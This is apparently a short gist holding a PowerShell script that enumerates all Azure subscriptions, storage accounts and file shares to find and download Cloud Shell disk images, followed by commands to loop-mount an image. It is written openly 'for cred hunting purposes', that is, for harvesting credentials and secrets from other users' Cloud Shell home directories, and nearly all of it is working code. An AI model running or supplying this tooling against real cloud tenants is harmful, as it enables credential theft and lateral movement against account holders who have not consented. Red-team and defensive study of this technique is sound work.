quick hacky script to download all cloudshell image files for cred hunting purposes

download_cloudshell_images.ps1

# Download all available Cloud Shell image files

$subscriptions=az account list --query "[].name" -o tsv

foreach ($sub in $subscriptions) {
    $accounts=az storage account list --subscription "$sub" --query "[].name" -o tsv

    foreach ($acc in $accounts) {
        $shares=az storage share list --subscription "$sub" --account-name "$acc" --query "[].name" -o tsv 2>$null

        foreach ($shr in $shares) {
            $files=az storage file list --subscription "$sub" -s "$shr" --account-name "$acc" -p .cloudconsole --query "[].name" -o tsv 2>$null

            foreach ($file in $files) {
                echo "az storage file download --subscription '$sub' -s '$shr' --account-name '$acc' -p '.cloudconsole/$file'"

                # for now only print the command to download the cloud shell image since it's like 5GB a piece. if you want to actually download them, uncomment the following line
                # az storage file download --subscription "$sub" -s "$shr" --account-name "$acc" -p ".cloudconsole/$file"
            }
        }
    }
}

afterwards:

# mkdir /mnt/cloudshell
# $loop=`losetup -f`
# losetup "$loop" /path/to/acc_cloudshell.img
# mount "$loop" /mnt/cloudshell
# cd /mnt/cloudshell
# ... (do some hacking or whatever)
# cd
# umount /mnt/cloudshell
# losetup -D
# rm -r /mnt/cloudshell